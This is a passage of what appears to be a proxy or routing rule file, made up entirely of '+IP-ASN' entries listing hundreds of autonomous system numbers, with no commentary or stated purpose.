+IP-ASN, 395515 +IP-ASN, 21843 +IP-ASN, 395516 +IP-ASN, 396846 +IP-ASN, 396849 +IP-ASN, 395517 +IP-ASN, 396848 +IP-ASN, 395518 +IP-ASN, 21842 +IP-ASN, 396843 +IP-ASN, 396842 +IP-ASN, 395512 +IP-ASN, 21840 +IP-ASN, 395513 +IP-ASN, 396844 +IP-ASN, 395508 +IP-ASN, 396839 +IP-ASN, 19534 +IP-ASN, 19535 +IP-ASN, 19536 +IP-ASN, 19537 +IP-ASN, 203939 +IP-ASN, 19530 +IP-ASN, 19531 +IP-ASN, 19532 +IP-ASN, 396850 +IP-ASN, 572 +IP-ASN, 21837 +IP-ASN, 19517 +IP-ASN, 19518 +IP-ASN, 21835 +IP-ASN, 571 +IP-ASN, 21832 +IP-ASN, 395526 +IP-ASN, 21833 +IP-ASN, 395527 +IP-ASN, 395528 +IP-ASN, 21830 +IP-ASN, 21831 +IP-ASN, 396854 +IP-ASN, 395522 +IP-ASN, 396853 +IP-ASN, 395523 +IP-ASN, 396856 +IP-ASN, 215907 +IP-ASN, 395519 +IP-ASN, 19524 +IP-ASN, 19525 +IP-ASN, 19526 +IP-ASN, 567 +IP-ASN, 19521 +IP-ASN, 55161 +IP-ASN, 55163 +IP-ASN, 55164 +IP-ASN, 55158 +IP-ASN, 55156 +IP-ASN, 55157 +IP-ASN, 55173 +IP-ASN, 55170 +IP-ASN, 55171 +IP-ASN, 55175 +IP-ASN, 749 +IP-ASN, 747 +IP-ASN, 55167 +IP-ASN, 745 +IP-ASN, 744 +IP-ASN, 55183 +IP-ASN, 55184 +IP-ASN, 55181 +IP-ASN, 55182 +IP-ASN, 55187 +IP-ASN, 7800 +IP-ASN, 55188 +IP-ASN, 7809 +IP-ASN, 7805 +IP-ASN, 7806 +IP-ASN, 55178 +IP-ASN, 773 +IP-ASN, 55179 +IP-ASN, 32498 +IP-ASN, 55194 +IP-ASN, 32493 +IP-ASN, 32492 +IP-ASN, 55192 +IP-ASN, 55193 +IP-ASN, 32494 +IP-ASN, 7810 +IP-ASN, 55196 +IP-ASN, 32490 +IP-ASN, 7818 +IP-ASN, 55190 +IP-ASN, 7819 +IP-ASN, 7816 +IP-ASN, 763 +IP-ASN, 55189 +IP-ASN, 32486 +IP-ASN, 32488 +IP-ASN, 32487 +IP-ASN, 32482 +IP-ASN, 32481 +IP-ASN, 32484 +IP-ASN, 32480 +IP-ASN, 714 +IP-ASN, 715 +IP-ASN, 32478 +IP-ASN, 32475 +IP-ASN, 32477 +IP-ASN, 32470 +IP-ASN, 32472 +IP-ASN, 705 +IP-ASN, 706 +IP-ASN, 703 +IP-ASN, 32468 +IP-ASN, 32467 +IP-ASN, 701 +IP-ASN, 32464 +IP-ASN, 702 +IP-ASN, 32466 +IP-ASN, 32460 +IP-ASN, 32461 +IP-ASN, 20479 +IP-ASN, 20477 +IP-ASN, 20478 +IP-ASN, 20473 +IP-ASN, 20474 +IP-ASN, 203898 +IP-ASN, 213219 +IP-ASN, 32457 +IP-ASN, 32456 +IP-ASN, 213215 +IP-ASN, 32458 +IP-ASN, 32452 +IP-ASN, 32455 +IP-ASN, 32454 +IP-ASN, 32450 +IP-ASN, 21799 +IP-ASN, 20469 +IP-ASN, 20466 +IP-ASN, 21798 +IP-ASN, 20467 +IP-ASN, 20464 +IP-ASN, 21795 +IP-ASN, 20465 +IP-ASN, 20462 +IP-ASN, 21794 +IP-ASN, 19482 +IP-ASN, 20472 +IP-ASN, 19483 +IP-ASN, 19480 +IP-ASN, 32446 +IP-ASN, 32445 +IP-ASN, 32447 +IP-ASN, 32442 +IP-ASN, 724 +IP-ASN, 32444 +IP-ASN, 721 +IP-ASN, 32443 +IP-ASN, 722 +IP-ASN, 394286 +IP-ASN, 394287 +IP-ASN, 394288 +IP-ASN, 394289 +IP-ASN, 394283 +IP-ASN, 394285 +IP-ASN, 394280 +IP-ASN, 394298 +IP-ASN, 394299 +IP-ASN, 394293 +IP-ASN, 394294 +IP-ASN, 394295 +IP-ASN, 394290 +IP-ASN, 55100 +IP-ASN, 44445 +IP-ASN, 55111 +IP-ASN, 55103 +IP-ASN, 55104 +IP-ASN, 55102 +IP-ASN, 55107 +IP-ASN, 55105 +IP-ASN, 55106 +IP-ASN, 55121 +IP-ASN, 55122 +IP-ASN, 55120 +IP-ASN, 55115 +IP-ASN, 55112 +IP-ASN, 56443 +IP-ASN, 55113 +IP-ASN, 55118 +IP-ASN, 55119 +IP-ASN, 55117 +IP-ASN, 55132 +IP-ASN, 55133 +IP-ASN, 55131 +IP-ASN, 55126 +IP-ASN, 55123 +IP-ASN, 55129 +IP-ASN, 55127 +IP-ASN, 55128 +IP-ASN, 55140 +IP-ASN, 55143 +IP-ASN, 55142 +IP-ASN, 55136 +IP-ASN, 55134 +IP-ASN, 55138 +IP-ASN, 55139 +IP-ASN, 55151 +IP-ASN, 55154 +IP-ASN, 55155 +IP-ASN, 55152 +IP-ASN, 55153 +IP-ASN, 55145 +IP-ASN, 55146 +IP-ASN, 396982 +IP-ASN, 395650 +IP-ASN, 21708 +IP-ASN, 21709 +IP-ASN, 394320 +IP-ASN, 396981 +IP-ASN, 395651 +IP-ASN, 394321 +IP-ASN, 395652 +IP-ASN, 21706 +IP-ASN, 21707 +IP-ASN, 394322 +IP-ASN, 21704 +IP-ASN, 21705 +IP-ASN, 21702 +IP-ASN, 21700 +IP-ASN, 395658 +IP-ASN, 394327 +IP-ASN, 395659 +IP-ASN, 396989 +IP-ASN, 394328 +IP-ASN, 21701 +IP-ASN, 394329 +IP-ASN, 396986 +IP-ASN, 395654 +IP-ASN, 395655 +IP-ASN, 394324 +IP-ASN, 394325 +IP-ASN, 395657 +IP-ASN, 394326 +IP-ASN, 6498 +IP-ASN, 6492 +IP-ASN, 6491 +IP-ASN, 6494 +IP-ASN, 6493 +IP-ASN, 394330 +IP-ASN, 396993 +IP-ASN, 395662 +IP-ASN, 394331 +IP-ASN, 396992 +IP-ASN, 396995 +IP-ASN, 395664 +IP-ASN, 394333 +IP-ASN, 396991 +IP-ASN, 396990 +IP-ASN, 395669 +IP-ASN, 394339 +IP-ASN, 394334 +IP-ASN, 395665 +IP-ASN, 396997 +IP-ASN, 395666 +IP-ASN, 394335 +IP-ASN, 394336 +IP-ASN, 396998 +IP-ASN, 395668 +IP-ASN, 394337 +IP-ASN, 394342 +IP-ASN, 395674 +IP-ASN, 394343 +IP-ASN, 395675 +IP-ASN, 394344 +IP-ASN, 395671 +IP-ASN, 394349 +IP-ASN, 394345 +IP-ASN, 395676 +IP-ASN, 394346 +IP-ASN, 395678 +IP-ASN, 395679 +IP-ASN, 394348 +IP-ASN, 5180 +IP-ASN, 5182 +IP-ASN, 395683 +IP-ASN, 394353 +IP-ASN, 395685 +IP-ASN, 395686 +IP-ASN, 394355 +IP-ASN, 395680 +IP-ASN, 395681 +IP-ASN, 394356 +IP-ASN, 395687 +IP-ASN, 395688 +IP-ASN, 394358 +IP-ASN, 395689 +IP-ASN, 394359 +IP-ASN, 395694 +IP-ASN, 395695 +IP-ASN, 394364 +IP-ASN, 395696 +IP-ASN, 395697 +IP-ASN, 6456 +IP-ASN, 395690 +IP-ASN, 395691 +IP-ASN, 7786 +IP-ASN, 395693 +IP-ASN, 395699 +IP-ASN, 7784 +IP-ASN, 7782 +IP-ASN, 6453 +IP-ASN, 6450 +IP-ASN, 394374 +IP-ASN, 394376 +IP-ASN, 394377 +IP-ASN, 7799 +IP-ASN, 394370 +IP-ASN, 6468 +IP-ASN, 394378 +IP-ASN, 7795 +IP-ASN, 5132 +IP-ASN, 6462 +IP-ASN, 6465 +IP-ASN, 5133 +IP-ASN, 7792 +IP-ASN, 6461 +IP-ASN, 394387 +IP-ASN, 394381 +IP-ASN, 394382 +IP-ASN, 394384 +IP-ASN, 6479 +IP-ASN, 394389 +IP-ASN, 6473 +IP-ASN, 394380 +IP-ASN, 394396 +IP-ASN, 394398 +IP-ASN, 394399 +IP-ASN, 6488 +IP-ASN, 394395 +IP-ASN, 6485 +IP-ASN, 394391 +IP-ASN, 6481 +IP-ASN, 6482 +IP-ASN, 32440 +IP-ASN, 7743 +IP-ASN, 21788 +IP-ASN, 20457 +IP-ASN, 21789 +IP-ASN, 396904 +IP-ASN, 21787 +IP-ASN, 21784 +IP-ASN, 20454 +IP-ASN, 6419 +IP-ASN, 21785 +IP-ASN, 21782 +IP-ASN, 396900 +IP-ASN, 21783 +IP-ASN, 20452 +IP-ASN, 20460 +IP-ASN, 21791 +IP-ASN, 19471 +IP-ASN, 21792 +IP-ASN, 19472 +IP-ASN, 19473 +IP-ASN, 19474 +IP-ASN, 32439 +IP-ASN, 32438 +IP-ASN, 19470 +IP-ASN, 7741 +IP-ASN, 32431 +IP-ASN, 32430 +IP-ASN, 19477 +IP-ASN, 32432 +IP-ASN, 19478 +IP-ASN, 33760 +IP-ASN, 6428 +IP-ASN, 6423 +IP-ASN, 20448 +IP-ASN, 7753 +IP-ASN, 21779 +IP-ASN, 7754 +IP-ASN, 20449 +IP-ASN, 21777 +IP-ASN, 201217 +IP-ASN, 20446 +IP-ASN, 396912 +IP-ASN, 21778 +IP-ASN, 396915 +IP-ASN, 396914 +IP-ASN, 20442 +IP-ASN, 396911 +IP-ASN, 21771 +IP-ASN, 396910 +IP-ASN, 20441 +IP-ASN, 19460 +IP-ASN, 21780 +IP-ASN, 202540 +IP-ASN, 20450 +IP-ASN, 396909 +IP-ASN, 21781 +IP-ASN, 19462 +IP-ASN, 19463 +IP-ASN, 33759 +IP-ASN, 32428 +IP-ASN, 396906 +IP-ASN, 396905 +IP-ASN, 396908 +IP-ASN, 32429 +IP-ASN, 396907 +IP-ASN, 7752 +IP-ASN, 19469 +IP-ASN, 6421 +IP-ASN, 32426 +IP-ASN, 32425 +IP-ASN, 19464 +IP-ASN, 33751 +IP-ASN, 33753 +IP-ASN, 32421 +IP-ASN, 7768 +IP-ASN, 5108 +IP-ASN, 6434 +IP-ASN, 20439 +IP-ASN, 7767 +IP-ASN, 7764 +IP-ASN, 20437 +IP-ASN, 21769 +IP-ASN, 21766 +IP-ASN, 396924 +IP-ASN, 21767 +IP-ASN, 20436 +IP-ASN, 396926 +IP-ASN, 21764 +IP-ASN, 20431 +IP-ASN, 21763 +IP-ASN, 20432 +IP-ASN, 396922 +IP-ASN, 396921 +IP-ASN, 20430 +IP-ASN, 19451 +IP-ASN, 19452 +IP-ASN, 33748 +IP-ASN, 32417 +IP-ASN, 396916 +IP-ASN, 32416 +IP-ASN, 396919 +IP-ASN, 32419 +IP-ASN, 203856 +IP-ASN, 33749 +IP-ASN, 203857 +IP-ASN, 32413 +IP-ASN, 7762 +IP-ASN, 203858 +IP-ASN, 32412 +IP-ASN, 33743 +IP-ASN, 19458 +IP-ASN, 32415 +IP-ASN, 5101 +IP-ASN, 33745 +IP-ASN, 7761 +IP-ASN, 6431 +IP-ASN, 19453 +IP-ASN, 33740 +IP-ASN, 33742 +IP-ASN, 32411 +IP-ASN, 19455 +IP-ASN, 32410 +IP-ASN, 19456 +IP-ASN, 5117 +IP-ASN, 21759 +IP-ASN, 19439 +IP-ASN, 20429 +IP-ASN, 7775 +IP-ASN, 20426 +IP-ASN, 21757 +IP-ASN, 21758 +IP-ASN, 20427 +IP-ASN, 396935 +IP-ASN, 395603 +IP-ASN, 21755 +IP-ASN, 396934 +IP-ASN, 395604 +IP-ASN, 395605 +IP-ASN, 396937 +IP-ASN, 396936 +IP-ASN, 21754 +IP-ASN, 20423 +IP-ASN, 21751 +IP-ASN, 20420 +IP-ASN, 396930 +IP-ASN, 21752 +IP-ASN, 202521 +IP-ASN, 20421 +IP-ASN, 396933 +IP-ASN, 395601 +IP-ASN, 21750 +IP-ASN, 396928 +IP-ASN, 33737 +IP-ASN, 396927 +IP-ASN, 32408 +IP-ASN, 32407 +IP-ASN, 32402 +IP-ASN, 7773 +IP-ASN, 7774 +IP-ASN, 33735 +IP-ASN, 7772 +IP-ASN, 33734 +IP-ASN, 32403 +IP-ASN, 19449 +IP-ASN, 19442 +IP-ASN, 19443 +IP-ASN, 7770 +IP-ASN, 32400 +IP-ASN, 33730 +IP-ASN, 396940 +IP-ASN, 20419 +IP-ASN, 19428 +IP-ASN, 21748 +IP-ASN, 683 +IP-ASN, 21749 +IP-ASN, 21746 +IP-ASN, 20416 +IP-ASN, 20413 +IP-ASN, 395614 +IP-ASN, 20414 +IP-ASN, 395615 +IP-ASN, 396945 +IP-ASN, 396948 +IP-ASN, 21742 +IP-ASN, 20411 +IP-ASN, 21743 +IP-ASN, 20412 +IP-ASN, 396947 +IP-ASN, 395617 +IP-ASN, 395610 +IP-ASN, 396941 +IP-ASN, 396944 +IP-ASN, 395612 +IP-ASN, 396943 +IP-ASN, 33729 +IP-ASN, 19430 +IP-ASN, 396939 +IP-ASN, 395607 +IP-ASN, 33726 +IP-ASN, 33725 +IP-ASN, 395608 +IP-ASN, 396938 +IP-ASN, 395609 +IP-ASN, 33728 +IP-ASN, 33727 +IP-ASN, 19435 +IP-ASN, 33722 +IP-ASN, 675 +IP-ASN, 33724 +IP-ASN, 19437 +IP-ASN, 673 +IP-ASN, 33723 +IP-ASN, 19434 +IP-ASN, 396951 +IP-ASN, 20408 +IP-ASN, 395620 +IP-ASN, 21737 +IP-ASN, 19417 +IP-ASN, 671 +IP-ASN, 21738 +IP-ASN, 672 +IP-ASN, 19418 +IP-ASN, 20404 +IP-ASN, 19419 +IP-ASN, 21735 +IP-ASN, 670 +IP-ASN, 395625 +IP-ASN, 396957 +IP-ASN, 20402 +IP-ASN, 21734 +IP-ASN, 396956 +IP-ASN, 395626 +IP-ASN, 395627 +IP-ASN, 20400 +IP-ASN, 396959 +IP-ASN, 396958 +IP-ASN, 7719 +IP-ASN, 396953 +IP-ASN, 21730 +IP-ASN, 396952 +IP-ASN, 396955 +IP-ASN, 395623 +IP-ASN, 395624 +IP-ASN, 396954 +IP-ASN, 395618 +IP-ASN, 396949 +IP-ASN, 395619 +IP-ASN, 33714 +IP-ASN, 33717 +IP-ASN, 664 +IP-ASN, 19424 +IP-ASN, 665 +IP-ASN, 33710 +IP-ASN, 19426 +IP-ASN, 19427 +IP-ASN, 33712 +IP-ASN, 668 +IP-ASN, 19421 +IP-ASN, 7726 +IP-ASN, 396960 +IP-ASN, 395630 +IP-ASN, 7725 +IP-ASN, 396961 +IP-ASN, 395631 +IP-ASN, 21729 +IP-ASN, 19406 +IP-ASN, 21726 +IP-ASN, 21727 +IP-ASN, 7723 +IP-ASN, 19407 +IP-ASN, 7720 +IP-ASN, 19408 +IP-ASN, 19409 +IP-ASN, 21725 +IP-ASN, 394305 +IP-ASN, 396967 +IP-ASN, 394307 +IP-ASN, 395638 +IP-ASN, 21720 +IP-ASN, 396969 +IP-ASN, 21721 +IP-ASN, 395632 +IP-ASN, 394301 +IP-ASN, 395633 +IP-ASN, 394302 +IP-ASN, 394303 +IP-ASN, 396966 +IP-ASN, 395634 +IP-ASN, 395635 +IP-ASN, 394304 +IP-ASN, 396965 +IP-ASN, 33709 +IP-ASN, 33703 +IP-ASN, 33700 +IP-ASN, 19413 +IP-ASN, 698 +IP-ASN, 19415 +IP-ASN, 19416 +IP-ASN, 19412 +IP-ASN, 21719 +IP-ASN, 6405 +IP-ASN, 396971 +IP-ASN, 6404 +IP-ASN, 396970 +IP-ASN, 395640 +IP-ASN, 395641 +IP-ASN, 394310 +IP-ASN, 21718 +IP-ASN, 395642 +IP-ASN, 6406 +IP-ASN, 396972 +IP-ASN, 693 +IP-ASN, 7733 +IP-ASN, 21713 +IP-ASN, 394316 +IP-ASN, 21711 +IP-ASN, 396979 +IP-ASN, 21712 +IP-ASN, 395648 +IP-ASN, 394318 +IP-ASN, 395649 +IP-ASN, 21710 +IP-ASN, 396975 +IP-ASN, 395643 +IP-ASN, 394313 +IP-ASN, 395645 +IP-ASN, 394314 +IP-ASN, 396977 +IP-ASN, 394315 +IP-ASN, 396976 +IP-ASN, 395646 +IP-ASN, 394309 +IP-ASN, 203801 +IP-ASN, 19403 +IP-ASN, 687 +IP-ASN, 19404 +IP-ASN, 19405 +IP-ASN, 688 +IP-ASN, 19400 +IP-ASN, 213154 +IP-ASN, 55044 +IP-ASN, 55045 +IP-ASN, 55042 +IP-ASN, 55043 +IP-ASN, 7905 +IP-ASN, 55037 +IP-ASN, 55035 +IP-ASN, 32397 +IP-ASN, 55039 +IP-ASN, 7914 +IP-ASN, 32393 +IP-ASN, 55052 +IP-ASN, 32395 +IP-ASN, 32390 +IP-ASN, 55056 +IP-ASN, 32391 +IP-ASN, 55054 +IP-ASN, 7915 +IP-ASN, 43076 +IP-ASN, 55049 +IP-ASN, 55046 +IP-ASN, 55047 +IP-ASN, 32386 +IP-ASN, 32389 +IP-ASN, 55062 +IP-ASN, 32383 +IP-ASN, 32382 +IP-ASN, 7925 +IP-ASN, 55063 +IP-ASN, 7922 +IP-ASN, 32385 +IP-ASN, 55061 +IP-ASN, 32384 +IP-ASN, 215791 +IP-ASN, 55067 +IP-ASN, 7921 +IP-ASN, 55064 +IP-ASN, 32381 +IP-ASN, 55065 +IP-ASN, 20398 +IP-ASN, 7926 +IP-ASN, 20396 +IP-ASN, 20397 +IP-ASN, 55059 +IP-ASN, 896 +IP-ASN, 32379 +IP-ASN, 893 +IP-ASN, 32375 +IP-ASN, 897 +IP-ASN, 32378 +IP-ASN, 32377 +IP-ASN, 32372 +IP-ASN, 213122 +IP-ASN, 7936 +IP-ASN, 32374 +IP-ASN, 32373 +IP-ASN, 55077 +IP-ASN, 892 +IP-ASN, 7932 +IP-ASN, 55075 +IP-ASN, 55076 +IP-ASN, 20389 +IP-ASN, 7939 +IP-ASN, 20388 +IP-ASN, 6606 +IP-ASN, 20385 +IP-ASN, 20394 +IP-ASN, 20395 +IP-ASN, 20392 +IP-ASN, 20390 +IP-ASN, 20391 +IP-ASN, 32369 +IP-ASN, 32368 +IP-ASN, 33699 +IP-ASN, 55069 +IP-ASN, 32365 +IP-ASN, 33695 +IP-ASN, 889 +IP-ASN, 32367 +IP-ASN, 32366 +IP-ASN, 33692 +IP-ASN, 32361 +IP-ASN, 55084 +IP-ASN, 32360 +IP-ASN, 33691 +IP-ASN, 55085 +IP-ASN, 55082 +IP-ASN, 32363 +IP-ASN, 55083 +IP-ASN, 33693 +IP-ASN, 32362 +IP-ASN, 55088 +IP-ASN, 55089 +IP-ASN, 55086 +IP-ASN, 33690 +IP-ASN, 55087 +IP-ASN, 55080 +IP-ASN, 55081 +IP-ASN, 20383 +IP-ASN, 20384 +IP-ASN, 19395 +IP-ASN, 20381 +IP-ASN, 19396 +IP-ASN, 19397 +IP-ASN, 836 +IP-ASN, 19390 +IP-ASN, 20380 +IP-ASN, 19393 +IP-ASN, 32358 +IP-ASN, 55079 +IP-ASN, 32354 +IP-ASN, 19398 +IP-ASN, 833 +IP-ASN, 834 +IP-ASN, 33684 +IP-ASN, 33686 +IP-ASN, 32355 +IP-ASN, 55095 +IP-ASN, 32350 +IP-ASN, 33680 +IP-ASN, 55096 +IP-ASN, 33683 +IP-ASN, 32352 +IP-ASN, 55094 +IP-ASN, 55099 +IP-ASN, 55098 +IP-ASN, 20367 +IP-ASN, 21699 +IP-ASN, 20368 +IP-ASN, 55091 +IP-ASN, 21696 +IP-ASN, 202467 +IP-ASN, 55092 +IP-ASN, 21694 +IP-ASN, 20364 +IP-ASN, 202464 +IP-ASN, 19383 +IP-ASN, 20373 +IP-ASN, 824 +IP-ASN, 19386 +IP-ASN, 19380 +IP-ASN, 19381 +IP-ASN, 33674 +IP-ASN, 33673 +IP-ASN, 32342 +IP-ASN, 19389 +IP-ASN, 33675 +IP-ASN, 32344 +IP-ASN, 33670 +IP-ASN, 32341 +IP-ASN, 21689 +IP-ASN, 20358 +IP-ASN, 20359 +IP-ASN, 20356 +IP-ASN, 21687 +IP-ASN, 20355 +IP-ASN, 21686 +IP-ASN, 20352 +IP-ASN, 21683 +IP-ASN, 20353 +IP-ASN, 19372 +IP-ASN, 21693 +IP-ASN, 20362 +IP-ASN, 21690 +IP-ASN, 21691 +IP-ASN, 19375 +IP-ASN, 20360 +IP-ASN, 33667 +IP-ASN, 32336 +IP-ASN, 33666 +IP-ASN, 33669 +IP-ASN, 33668 +IP-ASN, 32337 +IP-ASN, 33662 +IP-ASN, 32331 +IP-ASN, 32334 +IP-ASN, 33665 +IP-ASN, 33661 +IP-ASN, 32330 +IP-ASN, 33660 +IP-ASN, 20349 +IP-ASN, 20347 +IP-ASN, 21678 +IP-ASN, 20348 +IP-ASN, 21679 +IP-ASN, 21676 +IP-ASN, 20343 +IP-ASN, 21675 +IP-ASN, 20344 +IP-ASN, 21672 +IP-ASN, 21673 +IP-ASN, 21681 +IP-ASN, 20351 +IP-ASN, 846 +IP-ASN, 21680 +IP-ASN, 19364 +IP-ASN, 32329 +IP-ASN, 33659 +IP-ASN, 32328 +IP-ASN, 19360 +IP-ASN, 33656 +IP-ASN, 32325 +IP-ASN, 33655 +IP-ASN, 32324 +IP-ASN, 33657 +IP-ASN, 32326 +IP-ASN, 215745 +IP-ASN, 33652 +IP-ASN, 32321 +IP-ASN, 19365 +IP-ASN, 33651 +IP-ASN, 19366 +IP-ASN, 34985 +IP-ASN, 845 +IP-ASN, 32323 +IP-ASN, 33654 +IP-ASN, 19367 +IP-ASN, 19368 +IP-ASN, 843 +IP-ASN, 33653 +IP-ASN, 46969 +IP-ASN, 46966 +IP-ASN, 46964 +IP-ASN, 46963 +IP-ASN, 46971 +IP-ASN, 46970 +IP-ASN, 46977 +IP-ASN, 46976 +IP-ASN, 46979 +IP-ASN, 46978 +IP-ASN, 44317 +IP-ASN, 46973 +IP-ASN, 46972 +IP-ASN, 46974 +IP-ASN, 46980 +IP-ASN, 46982 +IP-ASN, 46988 +IP-ASN, 46984 +IP-ASN, 46983 +IP-ASN, 46986 +IP-ASN, 46985 +IP-ASN, 44324 +IP-ASN, 46990 +IP-ASN, 813 +IP-ASN, 46993 +IP-ASN, 46995 +IP-ASN, 46997 +IP-ASN, 46996 +IP-ASN, 807 +IP-ASN, 800 +IP-ASN, 55001 +IP-ASN, 43014 +IP-ASN, 55011 +IP-ASN, 55002 +IP-ASN, 55008 +IP-ASN, 55009 +IP-ASN, 55020 +IP-ASN, 55015 +IP-ASN, 55013 +IP-ASN, 55018 +IP-ASN, 55030 +IP-ASN, 57695 +IP-ASN, 55034 +IP-ASN, 55032 +IP-ASN, 142282 +IP-ASN, 201192 +IP-ASN, 44382 +IP-ASN, 55024 +IP-ASN, 55025 +IP-ASN, 55028 +IP-ASN, 22919 +IP-ASN, 395772 +IP-ASN, 394441 +IP-ASN, 22918 +IP-ASN, 395773 +IP-ASN, 394442 +IP-ASN, 22917 +IP-ASN, 395774 +IP-ASN, 22916 +IP-ASN, 394443 +IP-ASN, 10930 +IP-ASN, 22913 +IP-ASN, 395770 +IP-ASN, 22912 +IP-ASN, 22911 +IP-ASN, 395779 +IP-ASN, 394448 +IP-ASN, 394449 +IP-ASN, 10934 +IP-ASN, 10935 +IP-ASN, 10936 +IP-ASN, 395775 +IP-ASN, 394444 +IP-ASN, 395776 +IP-ASN, 395777 +IP-ASN, 394446 +IP-ASN, 10939 +IP-ASN, 395778 +IP-ASN, 395782 +IP-ASN, 394451 +IP-ASN, 394452 +IP-ASN, 22907 +IP-ASN, 394453 +IP-ASN, 22906 +IP-ASN, 395784 +IP-ASN, 394454 +IP-ASN, 22904 +IP-ASN, 22903 +IP-ASN, 10920 +IP-ASN, 394450 +IP-ASN, 10921 +IP-ASN, 22900 +IP-ASN, 394459 +IP-ASN, 10924 +IP-ASN, 10925 +IP-ASN, 395786 +IP-ASN, 394456 +IP-ASN, 395788 +IP-ASN, 394457 +IP-ASN, 395789 +IP-ASN, 22909 +IP-ASN, 46908 +IP-ASN, 394463 +IP-ASN, 395795 +IP-ASN, 394465 +IP-ASN, 46904 +IP-ASN, 46903 +IP-ASN, 395790 +IP-ASN, 46906 +IP-ASN, 394460 +IP-ASN, 395792 +IP-ASN, 46905 +IP-ASN, 46900 +IP-ASN, 10912 +IP-ASN, 10913 +IP-ASN, 46902 +IP-ASN, 46901 +IP-ASN, 10915 +IP-ASN, 395798 +IP-ASN, 394467 +IP-ASN, 10916 +IP-ASN, 395799 +IP-ASN, 394468 +IP-ASN, 10919 +IP-ASN, 394473 +IP-ASN, 46919 +IP-ASN, 46918 +IP-ASN, 394474 +IP-ASN, 394475 +IP-ASN, 394470 +IP-ASN, 46917 +IP-ASN, 394471 +IP-ASN, 394472 +IP-ASN, 46916 +IP-ASN, 46913 +IP-ASN, 10905 +IP-ASN, 394479 +IP-ASN, 10908 +IP-ASN, 394487 +IP-ASN, 46926 +IP-ASN, 46925 +IP-ASN, 46928 +IP-ASN, 46927 +IP-ASN, 394483 +IP-ASN, 46922 +IP-ASN, 46921 +IP-ASN, 46924 +IP-ASN, 394488 +IP-ASN, 394489 +IP-ASN, 141021 +IP-ASN, 394496 +IP-ASN, 394497 +IP-ASN, 394498 +IP-ASN, 46937 +IP-ASN, 394491 +IP-ASN, 394492 +IP-ASN, 46939 +IP-ASN, 394493 +IP-ASN, 46932 +IP-ASN, 46935 +IP-ASN, 394499 +IP-ASN, 46930 +IP-ASN, 6584 +IP-ASN, 6583 +IP-ASN, 6586 +IP-ASN, 394490 +IP-ASN, 6580 +IP-ASN, 6581 +IP-ASN, 46947 +IP-ASN, 6598 +IP-ASN, 46949 +IP-ASN, 46943 +IP-ASN, 46946 +IP-ASN, 46940 +IP-ASN, 6595 +IP-ASN, 6597 +IP-ASN, 6596 +IP-ASN, 6591 +IP-ASN, 46957 +IP-ASN, 46956 +IP-ASN, 46952 +IP-ASN, 6536 +IP-ASN, 33650 +IP-ASN, 7867 +IP-ASN, 7868 +IP-ASN, 20338 +IP-ASN, 21669 +IP-ASN, 6534 +IP-ASN, 20339 +IP-ASN, 21668 +IP-ASN, 20337 +IP-ASN, 22998 +IP-ASN, 20334 +IP-ASN, 21666 +IP-ASN, 22996 +IP-ASN, 21663 +IP-ASN, 20332 +IP-ASN, 20333 +IP-ASN, 22994 +IP-ASN, 21664 +IP-ASN, 20330 +IP-ASN, 22992 +IP-ASN, 21662 +IP-ASN, 21670 +IP-ASN, 20340 +IP-ASN, 19352 +IP-ASN, 19353 +IP-ASN, 32318 +IP-ASN, 33648 +IP-ASN, 32319 +IP-ASN, 33645 +IP-ASN, 19358 +IP-ASN, 7862 +IP-ASN, 32313 +IP-ASN, 19359 +IP-ASN, 33644 +IP-ASN, 33647 +IP-ASN, 6531 +IP-ASN, 19354 +IP-ASN, 19355 +IP-ASN, 33640 +IP-ASN, 32312 +IP-ASN, 33643 +IP-ASN, 19356 +IP-ASN, 33642 +IP-ASN, 19357 +IP-ASN, 6547 +IP-ASN, 5219 +IP-ASN, 7876 +IP-ASN, 20329 +IP-ASN, 20327 +IP-ASN, 22989 +IP-ASN, 395702 +IP-ASN, 20325 +IP-ASN, 20326 +IP-ASN, 22987 +IP-ASN, 395703 +IP-ASN, 21654 +IP-ASN, 22985 +IP-ASN, 21655 +IP-ASN, 22984 +IP-ASN, 395700 +IP-ASN, 21651 +IP-ASN, 20320 +IP-ASN, 395701 +IP-ASN, 22991 +IP-ASN, 21660 +IP-ASN, 22990 +IP-ASN, 19342 +IP-ASN, 32307 +IP-ASN, 33638 +IP-ASN, 32306 +IP-ASN, 32309 +IP-ASN, 215728 +IP-ASN, 32308 +IP-ASN, 7872 +IP-ASN, 6540 +IP-ASN, 19347 +IP-ASN, 32302 +IP-ASN, 33633 +IP-ASN, 19348 +IP-ASN, 33636 +IP-ASN, 32305 +IP-ASN, 32304 +IP-ASN, 7871 +IP-ASN, 33635 +IP-ASN, 33630 +IP-ASN, 19344 +IP-ASN, 33632 +IP-ASN, 19345 +IP-ASN, 33631 +IP-ASN, 32300 +IP-ASN, 10991 +IP-ASN, 6559 +IP-ASN, 20318 +IP-ASN, 10995 +IP-ASN, 19329 +IP-ASN, 21649 +IP-ASN, 6556 +IP-ASN, 21648 +IP-ASN, 10998 +IP-ASN, 22978 +IP-ASN, 20314 +IP-ASN, 395713 +IP-ASN, 22977 +IP-ASN, 21645 +IP-ASN, 21646 +IP-ASN, 22976 +IP-ASN, 20315 +IP-ASN, 395715 +IP-ASN, 22974 +IP-ASN, 21644 +IP-ASN, 20313 +IP-ASN, 21641 +IP-ASN, 22973 +IP-ASN, 20310 +IP-ASN, 20311 +IP-ASN, 395710 +IP-ASN, 22972 +IP-ASN, 395711 +IP-ASN, 22971 +IP-ASN, 22970 +IP-ASN, 22980 +IP-ASN, 19330 +IP-ASN, 19331 +IP-ASN, 33627 +IP-ASN, 395707 +IP-ASN, 33629 +IP-ASN, 395708 +IP-ASN, 33623 +IP-ASN, 19336 +IP-ASN, 19337 +IP-ASN, 33622 +IP-ASN, 6553 +IP-ASN, 33625 +IP-ASN, 33621 +IP-ASN, 6569 +IP-ASN, 10981 +IP-ASN, 10982 +IP-ASN, 19318 +IP-ASN, 6566 +IP-ASN, 10984 +IP-ASN, 21639 +IP-ASN, 20308 +IP-ASN, 6565 +IP-ASN, 10985 +IP-ASN, 22969 +IP-ASN, 19319 +IP-ASN, 7896 +IP-ASN, 21636 +IP-ASN, 22968 +IP-ASN, 5237 +IP-ASN, 20306 +IP-ASN, 20303 +IP-ASN, 10988 +IP-ASN, 22966 +IP-ASN, 395725 +IP-ASN, 22965 +IP-ASN, 21635 +IP-ASN, 20304 +IP-ASN, 21632 +IP-ASN, 395726 +IP-ASN, 202402 +IP-ASN, 395727 +IP-ASN, 21633 +IP-ASN, 20302 +IP-ASN, 21630 +IP-ASN, 395720 +IP-ASN, 22962 +IP-ASN, 22961 +IP-ASN, 